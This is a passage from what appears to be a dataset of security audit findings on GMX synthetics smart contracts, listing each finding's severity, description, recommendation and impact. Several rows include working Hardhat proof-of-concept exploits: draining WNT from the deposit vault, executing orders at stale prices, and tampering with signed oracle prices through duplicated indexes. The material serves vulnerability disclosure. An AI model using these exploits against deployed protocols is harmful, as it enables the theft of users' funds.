vaultWNTBalance.add(1));\\n// Add the line below\\n await usdc.connect(user1).approve(router.address, vaultWNTBalance.add(1));\\n// Add the line below\\n\\n// Add the line below\\n // Step 1. create deposit with malicious initialLongToken\\n// Add the line below\\n await exchangeRouter.connect(user1).multicall(\\n// Add the line below\\n [\\n// Add the line below\\n exchangeRouter.interface.encodeFunctionData("sendTokens", [\\n// Add the line below\\n usdc.address,\\n// Add the line below\\n depositVault.address,\\n// Add the line below\\n vaultWNTBalance.add(1),\\n// Add the line below\\n ]),\\n// Add the line below\\n exchangeRouter.interface.encodeFunctionData("createDeposit", [\\n// Add the line below\\n {\\n// Add the line below\\n receiver: user1.address,\\n// Add the line below\\n callbackContract: user2.address,\\n// Add the line below\\n market: ethUsdMarket.marketToken,\\n// Add the line below\\n initialLongToken: usdc.address, // use usdc instead of WNT\\n// Add the line below\\n initialShortToken: ethUsdMarket.shortToken,\\n// Add the line below\\n longTokenSwapPath: [],\\n// Add the line below\\n shortTokenSwapPath: [],\\n// Add the line below\\n minMarketTokens: 0,\\n// Add the line below\\n shouldUnwrapNativeToken: true,\\n// Add the line below\\n executionFee: vaultWNTBalance,\\n// Add the line below\\n callbackGasLimit: "0",\\n// Add the line below\\n },\\n// Add the line below\\n ]),\\n// Add the line below\\n ],\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n // Step 2. cancel deposit to drain WNT\\n// Add the line below\\n const depositKeys = await getDepositKeys(dataStore, 0, 2);\\n// Add the line below\\n // const deposit = await reader.getDeposit(dataStore.address, depositKeys[1]);\\n// Add the line below\\n // console.log(deposit);\\n// Add the line below\\n // console.log(depositKeys[1]);\\n// Add the line below\\n await expect(exchangeRouter.connect(user1).cancelDeposit(depositKeys[1]));\\n// Add the line below\\n\\n// Add the line below\\n // WNT is drained from depositVault\\n// Add the line below\\n expect(await wnt.balanceOf(depositVault.address)).eq(0);\\n// Add the line below\\n });\\n// Add the line below\\n\\n it("createOrder", async () => {\\n const referralCode = hashString("referralCode");\\n await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));\\n```\\n | ```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol b/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol\\nindex fae1b46..2811a6d 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/gmx// Remove the line below\\nsynthetics/contracts/deposit/DepositUtils.sol\\n@@ // Remove the line below\\n74,9 // Add the line below\\n74,9 @@ library DepositUtils {\\n \\n address wnt = TokenUtils.wnt(dataStore);\\n \\n// Remove the line below\\n if (market.longToken == wnt) {\\n// Add the line below\\n if (params.initialLongToken == wnt) {\\n initialLongTokenAmount // Remove the line below\\n= params.executionFee;\\n// Remove the line below\\n } else if (market.shortToken == wnt) {\\n// Add the line below\\n } else if (params.initialShortToken == wnt) {\\n initialShortTokenAmount // Remove the line below\\n= params.executionFee;\\n } else {\\n uint256 wntAmount = depositVault.recordTransferIn(wnt);\\n```\\n | The malicious user can drain all WNT from depositVault. | ```\\n function createDeposit(\\n DataStore dataStore,\\n EventEmitter eventEmitter,\\n DepositVault depositVault,\\n address account,\\n CreateDepositParams memory params\\n ) external returns (bytes32) {\\n Market.Props memory market = MarketUtils.getEnabledMarket(dataStore, params.market);\\n\\n uint256 initialLongTokenAmount = depositVault.recordTransferIn(params.initialLongToken);\\n uint256 initialShortTokenAmount = depositVault.recordTransferIn(params.initialShortToken);\\n\\n address wnt = TokenUtils.wnt(dataStore);\\n\\n if (market.longToken == wnt) {\\n initialLongTokenAmount -= params.executionFee;\\n } else if (market.shortToken == wnt) {\\n initialShortTokenAmount -= params.executionFee;\\n```\\n |
Incorrect function call leads to stale borrowing fees | high | Due to an incorrect function call while getting the total borrow fees, the returned fees will be an inaccurate and stale amount. Which will have an impact on liquidity providers\\nAs said the function getTotalBorrowingFees:\\n```\\nfunction getTotalBorrowingFees(DataStore dataStore, address market, address longToken, address shortToken, bool isLong) internal view returns (uint256) {\\n uint256 openInterest = getOpenInterest(dataStore, market, longToken, shortToken, isLong);\\n uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market, isLong);\\n uint256 totalBorrowing = getTotalBorrowing(dataStore, market, isLong);\\n return openInterest * cumulativeBorrowingFactor - totalBorrowing;\\n}\\n```\\n\\ncalculates the fess by calling getCumulativeBorrowingFactor(...):\\nwhich is the wrong function to call because it returns a stale borrowing factor. To get the actual borrowing factor and calculate correctly the borrowing fees, GMX should call the `getNextCumulativeBorrowingFactor` function:\\nWhich makes the right calculation, taking into account the stale fees also:\\n```\\n uint256 durationInSeconds = getSecondsSinceCumulativeBorrowingFactorUpdated(dataStore, market.marketToken, isLong);\\n uint256 borrowingFactorPerSecond = getBorrowingFactorPerSecond(\\n dataStore,\\n market,\\n prices,\\n isLong\\n );\\n\\n uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market.marketToken, isLong);\\n\\n uint256 delta = durationInSeconds * borrowingFactorPerSecond;\\n uint256 nextCumulativeBorrowingFactor = cumulativeBorrowingFactor + delta;\\n return (nextCumulativeBorrowingFactor, delta);\\n```\\n | In order to mitigate the issue, call the function `getNextCumulativeBorrowingFactor` instead of the function `getCumulativeBorrowingFactor()` for a correct accounting and not getting stale fees | Ass fee calculation will not be accurate, liquidity providers will be have a less-worth token because pending fees are not accounted in the pool's value | ```\\nfunction getTotalBorrowingFees(DataStore dataStore, address market, address longToken, address shortToken, bool isLong) internal view returns (uint256) {\\n uint256 openInterest = getOpenInterest(dataStore, market, longToken, shortToken, isLong);\\n uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market, isLong);\\n uint256 totalBorrowing = getTotalBorrowing(dataStore, market, isLong);\\n return openInterest * cumulativeBorrowingFactor - totalBorrowing;\\n}\\n```\\n |
Limit orders can be used to get a free look into the future | high | Users can continually update their orders to get a free look into prices in future blocks\\nOrder execution relies on signed archived prices from off-chain oracles, where each price is stored along with the block range it applies to, and limit orders are only allowed to execute with oracle prices where the block is greater than the block in which the order was last updated. Since prices are required to be future prices, there is a time gap between when the last signed price was archived, and the new price for the next block is stored in the archive, and the order keeper is able to fetch it and submit an execution for it in the next block.\\nThe example given by the sponsor in discord was:\\n```\\nthe oracle process:\\n\\n1. the oracle node checks the latest price from reference exchanges and stores it with the oracle node's timestamp, e.g. time: 1000\\n2. the oracle node checks the latest block of the blockchain, e.g. block 100, it stores this with the oracle node's timestamp as well\\n3. the oracle node signs minOracleBlockNumber: 100, maxOracleBlockNumber: 100, timestamp: 1000, price: <price>\\n4. the next time the loop runs is at time 1001, if the latest block of the blockchain is block 105, e.g. if 5 blocks were produced in that one second, then the oracle would sign\\nminOracleBlockNumber: 101, maxOracleBlockNumber: 105, timestamp: 1001, price: <price>\\n```\\n | Require a delay between when the order was last increased/submitted, and when an update is allowed, similar to REQUEST_EXPIRATION_BLOCK_AGE for the cancellation of market orders | If a user has a pending exit order that was submitted a block N, and the user sees that the price at block N+1 will be more favorable, they can update their exit order, changing the amount by +/- 1 wei, and have the order execution delayed until the next block, at which point they can decided again whether the price and or impact is favorable, and whether to exit. In the sponsor's example, if the order was submitted at block 101, they have until block 105 to decide whether to update their order, since the order execution keeper won't be able to do the execution until block 106. There is a gas cost for doing such updates, but if the position is large enough, or the price is gapping enough, it is worth while to do this, especially if someone comes up with an automated service that does this on your behalf.\\nThe more favorable price for the attacker is at the expense of the other side of the trade, and is a loss of capital for them. | ```\\nthe oracle process:\\n\\n1. the oracle node checks the latest price from reference exchanges and stores it with the oracle node's timestamp, e.g. time: 1000\\n2. the oracle node checks the latest block of the blockchain, e.g. block 100, it stores this with the oracle node's timestamp as well\\n3. the oracle node signs minOracleBlockNumber: 100, maxOracleBlockNumber: 100, timestamp: 1000, price: <price>\\n4. the next time the loop runs is at time 1001, if the latest block of the blockchain is block 105, e.g. if 5 blocks were produced in that one second, then the oracle would sign\\nminOracleBlockNumber: 101, maxOracleBlockNumber: 105, timestamp: 1001, price: <price>\\n```\\n |
Creating an order of type MarketIncrease opens an attack vector where attacker can execute txs with stale prices by inputting a very extense swapPath | high | The vulnerability relies on the create order function:\\n```\\n function createOrder(\\n DataStore dataStore,\\n EventEmitter eventEmitter,\\n OrderVault orderVault,\\n IReferralStorage referralStorage,\\n address account,\\n BaseOrderUtils.CreateOrderParams memory params\\n ) external returns (bytes32) {\\n ReferralUtils.setTraderReferralCode(referralStorage, account, params.referralCode);\\n\\n uint256 initialCollateralDeltaAmount;\\n\\n address wnt = TokenUtils.wnt(dataStore);\\n\\n bool shouldRecordSeparateExecutionFeeTransfer = true;\\n\\n if (\\n params.orderType == Order.OrderType.MarketSwap ||\\n params.orderType == Order.OrderType.LimitSwap ||\\n params.orderType == Order.OrderType.MarketIncrease ||\\n params.orderType == Order.OrderType.LimitIncrease\\n ) {\\n initialCollateralDeltaAmount = orderVault.recordTransferIn(params.addresses.initialCollateralToken);\\n if (params.addresses.initialCollateralToken == wnt) {\\n if (initialCollateralDeltaAmount < params.numbers.executionFee) {\\n revert InsufficientWntAmountForExecutionFee(initialCollateralDeltaAmount, params.numbers.executionFee);\\n }\\n initialCollateralDeltaAmount -= params.numbers.executionFee;\\n shouldRecordSeparateExecutionFeeTransfer = false;\\n }\\n } else if (\\n params.orderType == Order.OrderType.MarketDecrease ||\\n params.orderType == Order.OrderType.LimitDecrease ||\\n params.orderType == Order.OrderType.StopLossDecrease\\n ) {\\n initialCollateralDeltaAmount = params.numbers.initialCollateralDeltaAmount;\\n } else {\\n revert OrderTypeCannotBeCreated(params.orderType);\\n }\\n\\n if (shouldRecordSeparateExecutionFeeTransfer) {\\n uint256 wntAmount = orderVault.recordTransferIn(wnt);\\n if (wntAmount < params.numbers.executionFee) {\\n revert InsufficientWntAmountForExecutionFee(wntAmount, params.numbers.executionFee);\\n }\\n\\n GasUtils.handleExcessExecutionFee(\\n dataStore,\\n orderVault,\\n wntAmount,\\n params.numbers.executionFee\\n );\\n }\\n\\n // validate swap path markets\\n MarketUtils.getEnabledMarkets(\\n dataStore,\\n params.addresses.swapPath\\n );\\n\\n Order.Props memory order;\\n\\n order.setAccount(account);\\n order.setReceiver(params.addresses.receiver);\\n order.setCallbackContract(params.addresses.callbackContract);\\n order.setMarket(params.addresses.market);\\n order.setInitialCollateralToken(params.addresses.initialCollateralToken);\\n order.setSwapPath(params.addresses.swapPath);\\n order.setOrderType(params.orderType);\\n order.setDecreasePositionSwapType(params.decreasePositionSwapType);\\n order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);\\n order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);\\n order.setTriggerPrice(params.numbers.triggerPrice);\\n order.setAcceptablePrice(params.numbers.acceptablePrice);\\n order.setExecutionFee(params.numbers.executionFee);\\n order.setCallbackGasLimit(params.numbers.callbackGasLimit);\\n order.setMinOutputAmount(params.numbers.minOutputAmount);\\n order.setIsLong(params.isLong);\\n order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);\\n\\n ReceiverUtils.validateReceiver(order.receiver());\\n\\n if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {\\n revert BaseOrderUtils.EmptyOrder();\\n }\\n\\n CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());\\n\\n uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);\\n GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());\\n\\n bytes32 key = NonceUtils.getNextKey(dataStore);\\n\\n order.touch();\\n OrderStoreUtils.set(dataStore, key, order);\\n\\n OrderEventUtils.emitOrderCreated(eventEmitter, key, order);\\n\\n return key;\\n}\\n```\\n\\nSpecifically, on a marketIncrease OrderType. Executing an order type of marketIncrease opens an attack path where you can execute transactions with stale prices.\\nThe way to achieve this, is by creating a market increase order and passing a very extensive swapPath in params:\\n```\\n BaseOrderUtils.CreateOrderParams memory params\\n\\n\\n struct CreateOrderParams {\\n CreateOrderParamsAddresses addresses;\\n CreateOrderParamsNumbers numbers;\\n Order.OrderType orderType;\\n Order.DecreasePositionSwapType decreasePositionSwapType;\\n bool isLong;\\n bool shouldUnwrapNativeToken;\\n bytes32 referralCode;\\n }\\n\\n struct CreateOrderParamsAddresses {\\n address receiver;\\n address callbackContract;\\n address market;\\n address initialCollateralToken;\\n address[] swapPath; //HEREE <--------------------------------------------------------\\n }\\n\\nThe swap path has to be as long as it gets close to the gasLimit of the block.\\n```\\n\\nAfter calling marketIncrease close to gasLimit then using the callback contract that you passed as a param in:\\nan exceeding the block.gasLimit in the callback.\\nAfter "x" amount of blocks, change the gasUsage on the fallback, just that the transaction executes at the prior price.\\nPoC on how to execute the transaction with old pricing:\\n```\\nimport { expect } from "chai";\\nimport { mine } from "@nomicfoundation/hardhat-network-helpers";\\nimport { OrderType, getOrderCount, getOrderKeys, createOrder, executeOrder, handleOrder } from "../utils/order";\\nimport { expandDecimals, decimalToFloat } from "../utils/math";\\nimport { deployFixture } from "../utils/fixture";\\n import { handleDeposit } from "../utils/deposit";\\nimport { getPositionCount, getAccountPositionCount } from "../utils/position";\\n\\ndescribe("Execute transaction with all prices", () => {\\nlet fixture,\\nuser0,\\nuser1,\\nuser2,\\nreader,\\ndataStore,\\nethUsdMarket,\\nethUsdSpotOnlyMarket,\\nwnt,\\nusdc,\\nattackContract,\\noracle,\\ndepositVault,\\nexchangeRouter,\\nswapHandler,\\nexecutionFee;\\n\\n beforeEach(async () => {\\n fixture = await deployFixture();\\n\\n ({ user0, user1, user2 } = fixture.accounts);\\n ({\\n reader,\\n dataStore,\\n oracle,\\n depositVault,\\n ethUsdMarket,\\n ethUsdSpotOnlyMarket,\\n wnt,\\n usdc,\\n attackContract,\\n exchangeRouter,\\n swapHandler,\\n } = fixture.contracts);\\n ({ executionFee } = fixture.props);\\n\\n await handleDeposit(fixture, {\\n create: {\\n market: ethUsdMarket,\\n longTokenAmount: expandDecimals(10000000, 18),\\n shortTokenAmount: expandDecimals(10000000 * 5000, 6),\\n },\\n });\\n await handleDeposit(fixture, {\\n create: {\\n market: ethUsdSpotOnlyMarket,\\n longTokenAmount: expandDecimals(10000000, 18),\\n shortTokenAmount: expandDecimals(10000000 * 5000, 6),\\n },\\n });\\n });\\n\\n it("Old price order execution", async () => {\\n const path = [];\\n const UsdcBal = expandDecimals(50 * 1000, 6);\\n expect(await getOrderCount(dataStore)).eq(0);\\n\\n for (let i = 0; i < 63; i++) {\\n if (i % 2 == 0) path.push(ethUsdMarket.marketToken);\\n else path.push(ethUsdSpotOnlyMarket.marketToken);\\n }\\n\\n const params = {\\n account: attackContract,\\n callbackContract: attackContract,\\n callbackGasLimit: 1900000,\\n market: ethUsdMarket,\\n minOutputAmount: 0,\\n initialCollateralToken: usdc, // Collateral will get swapped to ETH by the swapPath -- 50k/$5k = 10 ETH Collateral\\n initialCollateralDeltaAmount: UsdcBal,\\n swapPath: path,\\n sizeDeltaUsd: decimalToFloat(200 * 1000), // 4x leverage -- position size is 40 ETH\\n acceptablePrice: expandDecimals(5001, 12),\\n orderType: OrderType.MarketIncrease,\\n isLong: true,\\n shouldUnwrapNativeToken: false,\\n gasUsageLabel: "createOrder",\\n };\\n\\n // Create a MarketIncrease order that will run out of gas doing callback\\n await createOrder(fixture, params);\\n expect(await getOrderCount(dataStore)).eq(1);\\n expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);\\n expect(await getPositionCount(dataStore)).eq(0);\\n expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);\\n\\n await expect(executeOrder(fixture)).to.be.reverted;\\n\\n await mine(50);\\n\\n await attackContract.flipSwitch();\\n\\n expect(await getOrderCount(dataStore)).eq(1);\\n\\n await executeOrder(fixture, {\\n minPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],\\n maxPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],\\n });\\n\\n expect(await getOrderCount(dataStore)).eq(0);\\n expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(1);\\n expect(await getPositionCount(dataStore)).eq(1);\\n\\n await handleOrder(fixture, {\\n create: {\\n account: attackContract,\\n market: ethUsdMarket,\\n initialCollateralToken: wnt,\\n initialCollateralDeltaAmount: 0,\\n sizeDeltaUsd: decimalToFloat(200 * 1000),\\n acceptablePrice: 6001,\\n orderType: OrderType.MarketDecrease,\\n isLong: true,\\n gasUsageLabel: "orderHandler.createOrder",\\n swapPath: [ethUsdMarket.marketToken],\\n },\\n execute: {\\n minPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],\\n maxPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],\\n gasUsageLabel: "orderHandler.executeOrder",\\n },\\n });\\n\\n const WNTAfter = await wnt.balanceOf(attackContract.address);\\n const UsdcAfter = await usdc.balanceOf(attackContract.address);\\n\\n expect(UsdcAfter).to.gt(\\n expandDecimals(100 * 1000, 6)\\n .mul(999)\\n .div(1000)\\n );\\n expect(UsdcAfter).to.lt(\\n expandDecimals(100 * 1000, 6)\\n .mul(1001)\\n .div(1000)\\n );\\n expect(WNTAfter).to.eq(0);\\n }).timeout(100000);\\n```\\n | There need to be a way to cap the length of the path to control user input:\\nuint y = 10; require(swapPath.length < y ,"path too long"); | The attack would allow to make free trades in terms of risk. You can trade without any risk by conttroling when to execute the transaction | ```\\n function createOrder(\\n DataStore dataStore,\\n EventEmitter eventEmitter,\\n OrderVault orderVault,\\n IReferralStorage referralStorage,\\n address account,\\n BaseOrderUtils.CreateOrderParams memory params\\n ) external returns (bytes32) {\\n ReferralUtils.setTraderReferralCode(referralStorage, account, params.referralCode);\\n\\n uint256 initialCollateralDeltaAmount;\\n\\n address wnt = TokenUtils.wnt(dataStore);\\n\\n bool shouldRecordSeparateExecutionFeeTransfer = true;\\n\\n if (\\n params.orderType == Order.OrderType.MarketSwap ||\\n params.orderType == Order.OrderType.LimitSwap ||\\n params.orderType == Order.OrderType.MarketIncrease ||\\n params.orderType == Order.OrderType.LimitIncrease\\n ) {\\n initialCollateralDeltaAmount = orderVault.recordTransferIn(params.addresses.initialCollateralToken);\\n if (params.addresses.initialCollateralToken == wnt) {\\n if (initialCollateralDeltaAmount < params.numbers.executionFee) {\\n revert InsufficientWntAmountForExecutionFee(initialCollateralDeltaAmount, params.numbers.executionFee);\\n }\\n initialCollateralDeltaAmount -= params.numbers.executionFee;\\n shouldRecordSeparateExecutionFeeTransfer = false;\\n }\\n } else if (\\n params.orderType == Order.OrderType.MarketDecrease ||\\n params.orderType == Order.OrderType.LimitDecrease ||\\n params.orderType == Order.OrderType.StopLossDecrease\\n ) {\\n initialCollateralDeltaAmount = params.numbers.initialCollateralDeltaAmount;\\n } else {\\n revert OrderTypeCannotBeCreated(params.orderType);\\n }\\n\\n if (shouldRecordSeparateExecutionFeeTransfer) {\\n uint256 wntAmount = orderVault.recordTransferIn(wnt);\\n if (wntAmount < params.numbers.executionFee) {\\n revert InsufficientWntAmountForExecutionFee(wntAmount, params.numbers.executionFee);\\n }\\n\\n GasUtils.handleExcessExecutionFee(\\n dataStore,\\n orderVault,\\n wntAmount,\\n params.numbers.executionFee\\n );\\n }\\n\\n // validate swap path markets\\n MarketUtils.getEnabledMarkets(\\n dataStore,\\n params.addresses.swapPath\\n );\\n\\n Order.Props memory order;\\n\\n order.setAccount(account);\\n order.setReceiver(params.addresses.receiver);\\n order.setCallbackContract(params.addresses.callbackContract);\\n order.setMarket(params.addresses.market);\\n order.setInitialCollateralToken(params.addresses.initialCollateralToken);\\n order.setSwapPath(params.addresses.swapPath);\\n order.setOrderType(params.orderType);\\n order.setDecreasePositionSwapType(params.decreasePositionSwapType);\\n order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);\\n order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);\\n order.setTriggerPrice(params.numbers.triggerPrice);\\n order.setAcceptablePrice(params.numbers.acceptablePrice);\\n order.setExecutionFee(params.numbers.executionFee);\\n order.setCallbackGasLimit(params.numbers.callbackGasLimit);\\n order.setMinOutputAmount(params.numbers.minOutputAmount);\\n order.setIsLong(params.isLong);\\n order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);\\n\\n ReceiverUtils.validateReceiver(order.receiver());\\n\\n if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {\\n revert BaseOrderUtils.EmptyOrder();\\n }\\n\\n CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());\\n\\n uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);\\n GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());\\n\\n bytes32 key = NonceUtils.getNextKey(dataStore);\\n\\n order.touch();\\n OrderStoreUtils.set(dataStore, key, order);\\n\\n OrderEventUtils.emitOrderCreated(eventEmitter, key, order);\\n\\n return key;\\n}\\n```\\n |
Multiplication after Division error leading to larger precision loss | medium | There are couple of instance of using result of a division for multiplication while can cause larger precision loss.\\n```\\nFile: MarketUtils.sol\\n\\n cache.fundingUsd = (cache.sizeOfLargerSide / Precision.FLOAT_PRECISION) * cache.durationInSeconds * cache.fundingFactorPerSecond;\\n\\n if (result.longsPayShorts) {\\n cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithLongCollateral / cache.oi.longOpenInterest;\\n cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithShortCollateral / cache.oi.longOpenInterest;\\n } else {\\n cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithLongCollateral / cache.oi.shortOpenInterest;\\n cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithShortCollateral / cache.oi.shortOpenInterest;\\n }\\n```\\n\\nLink to Code\\nIn above case, value of `cache.fundingUsd` is calculated by first dividing `cache.sizeOfLargerSide` with `Precision.FLOAT_PRECISION` which is `10**30`. Then the resultant is multiplied further. This result in larger Loss of precision.\\nLater the same `cache.fundingUsd` is used to calculate `cache.fundingUsdForLongCollateral` and `cache.fundingUsdForShortCollateral` by multiplying further which makes the precision error even more big.\\nSame issue is there in calculating `cache.positionPnlUsd` in `PositionUtils`.\\n```\\nFile: PositionUtils.sol\\n\\n if (position.isLong()) {\\n cache.sizeDeltaInTokens = Calc.roundUpDivision(position.sizeInTokens() * sizeDeltaUsd, position.sizeInUsd());\\n } else {\\n cache.sizeDeltaInTokens = position.sizeInTokens() * sizeDeltaUsd / position.sizeInUsd();\\n }\\n }\\n\\n cache.positionPnlUsd = cache.totalPositionPnl * cache.sizeDeltaInTokens.toInt256() / position.sizeInTokens().toInt256();\\n```\\n\\nLink to Code | First Multiply all the numerators and then divide it by the product of all the denominator. | Precision Loss in accounting. | ```\\nFile: MarketUtils.sol\\n\\n cache.fundingUsd = (cache.sizeOfLargerSide / Precision.FLOAT_PRECISION) * cache.durationInSeconds * cache.fundingFactorPerSecond;\\n\\n if (result.longsPayShorts) {\\n cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithLongCollateral / cache.oi.longOpenInterest;\\n cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithShortCollateral / cache.oi.longOpenInterest;\\n } else {\\n cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithLongCollateral / cache.oi.shortOpenInterest;\\n cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithShortCollateral / cache.oi.shortOpenInterest;\\n }\\n```\\n |
when execute deposit fails, cancel deposit will be called which means that execution fee for keeper will be little for executing the cancellation depending on where the executeDeposit fails | medium | When execute deposit fails, the deposit will be automatically cancelled. However, since executeDeposit has taken up a portion of the execution fee, execution fee left for cancellation might be little and keeper will lose out on execution fee.\\nIn `executeDeposit` when an error is thrown, `_handleDepositError` is called.\\n```\\n _handleDepositError(\\n key,\\n startingGas,\\n reasonBytes\\n );\\n```\\n\\nNotice that in `_handleDepositError` that `cancelDeposit` is called which will pay execution fee to the keeper. However, since the failure can have failed at the late stage of executeDeposit, the execution fee left for the cancellation will be little for the keeper.\\n```\\n function _handleDepositError(\\n bytes32 key,\\n uint256 startingGas,\\n bytes memory reasonBytes\\n ) internal {\\n (string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);\\n\\n\\n bytes4 errorSelector = ErrorUtils.getErrorSelectorFromData(reasonBytes);\\n\\n\\n if (OracleUtils.isEmptyPriceError(errorSelector)) {\\n ErrorUtils.revertWithCustomError(reasonBytes);\\n }\\n\\n\\n DepositUtils.cancelDeposit(\\n dataStore,\\n eventEmitter,\\n depositVault,\\n key,\\n msg.sender,\\n startingGas,\\n reason,\\n reasonBytes\\n );\\n }\\n}\\n```\\n\\nNote: This also applies to failed `executeWithdrawal`. | Recommend increasing the minimum required execution fee to account for failed deposit and refund the excess to the user when a deposit succeeds. | Keeper will lose out on execution fee in the event of a failed deposit. | ```\\n _handleDepositError(\\n key,\\n startingGas,\\n reasonBytes\\n );\\n```\\n |
The oracle price could be tampered | medium | The `_setPrices()` function is missing to check duplicated prices indexes. Attackers such as malicious order keepers can exploit it to tamper signed prices.\\nThe following test script shows how it works\\n```\\nimport { expect } from "chai";\\n\\nimport { deployContract } from "../../utils/deploy";\\nimport { deployFixture } from "../../utils/fixture";\\nimport {\\n TOKEN_ORACLE_TYPES,\\n signPrices,\\n getSignerInfo,\\n getCompactedPrices,\\n getCompactedPriceIndexes,\\n getCompactedDecimals,\\n getCompactedOracleBlockNumbers,\\n getCompactedOracleTimestamps,\\n} from "../../utils/oracle";\\nimport { printGasUsage } from "../../utils/gas";\\nimport { grantRole } from "../../utils/role";\\nimport * as keys from "../../utils/keys";\\n\\ndescribe("AttackOracle", () => {\\n const { provider } = ethers;\\n\\n let user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9;\\n let roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc;\\n let oracleSalt;\\n\\n beforeEach(async () => {\\n const fixture = await deployFixture();\\n ({ user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9 } = fixture.accounts);\\n\\n ({ roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc } = fixture.contracts);\\n ({ oracleSalt } = fixture.props);\\n });\\n\\n it("inits", async () => {\\n expect(await oracle.oracleStore()).to.eq(oracleStore.address);\\n expect(await oracle.SALT()).to.eq(oracleSalt);\\n });\\n\\n it("tamperPrices", async () => {\\n const blockNumber = (await provider.getBlock()).number;\\n const blockTimestamp = (await provider.getBlock()).timestamp;\\n await dataStore.setUint(keys.MIN_ORACLE_SIGNERS, 2);\\n const block = await provider.getBlock(blockNumber);\\n\\n let signerInfo = getSignerInfo([0, 1]);\\n let minPrices = [1000, 1000]; // if some signers sign a same price\\n let maxPrices = [1010, 1010]; // if some signers sign a same price\\n let signatures = await signPrices({\\n signers: [signer0, signer1],\\n salt: oracleSalt,\\n minOracleBlockNumber: blockNumber,\\n maxOracleBlockNumber: blockNumber,\\n oracleTimestamp: blockTimestamp,\\n blockHash: block.hash,\\n token: wnt.address,\\n tokenOracleType: TOKEN_ORACLE_TYPES.DEFAULT,\\n precision: 1,\\n minPrices,\\n maxPrices,\\n });\\n\\n // attacker tamper the prices and indexes\\n minPrices[1] = 2000\\n maxPrices[1] = 2020\\n let indexes = getCompactedPriceIndexes([0, 0]) // share the same index\\n\\n await oracle.setPrices(dataStore.address, eventEmitter.address, {\\n priceFeedTokens: [],\\n signerInfo,\\n tokens: [wnt.address],\\n compactedMinOracleBlockNumbers: [blockNumber],\\n compactedMaxOracleBlockNumbers: [blockNumber],\\n compactedOracleTimestamps: [blockTimestamp],\\n compactedDecimals: getCompactedDecimals([1]),\\n compactedMinPrices: getCompactedPrices(minPrices),\\n compactedMinPricesIndexes: indexes,\\n compactedMaxPrices: getCompactedPrices(maxPrices),\\n compactedMaxPricesIndexes: indexes,\\n signatures,\\n });\\n\\n const decimals = 10\\n expect((await oracle.getPrimaryPrice(wnt.address)).min).eq(1500 * decimals);\\n expect((await oracle.getPrimaryPrice(wnt.address)).max).eq(1515 * decimals);\\n });\\n\\n});\\n```\\n\\nThe output\\n```\\n> npx hardhat test .\\test\\oracle\\AttackOracle.ts\\n\\n\\n AttackOracle\\n √ inits\\n √ tamperPrices (105ms)\\n\\n\\n 2 passing (13s)\\n```\\n | Don't allow duplicated prices indexes | Steal funds from the vault and markets. | ```\\nimport { expect } from "chai";\\n\\nimport { deployContract } from "../../utils/deploy";\\nimport { deployFixture } from "../../utils/fixture";\\nimport {\\n TOKEN_ORACLE_TYPES,\\n signPrices,\\n getSignerInfo,\\n getCompactedPrices,\\n getCompactedPriceIndexes,\\n getCompactedDecimals,\\n getCompactedOracleBlockNumbers,\\n getCompactedOracleTimestamps,\\n} from "../../utils/oracle";\\nimport { printGasUsage } from "../../utils/gas";\\nimport { grantRole } from "../../utils/role";\\nimport * as keys from "../../utils/keys";\\n\\ndescribe("AttackOracle", () => {\\n const { provider } = ethers;\\n\\n let user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9;\\n let roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc;\\n let oracleSalt;\\n\\n beforeEach(async () => {\\n const fixture = await deployFixture();\\n ({ user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9 } = fixture.accounts);\\n\\n ({ roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc } = 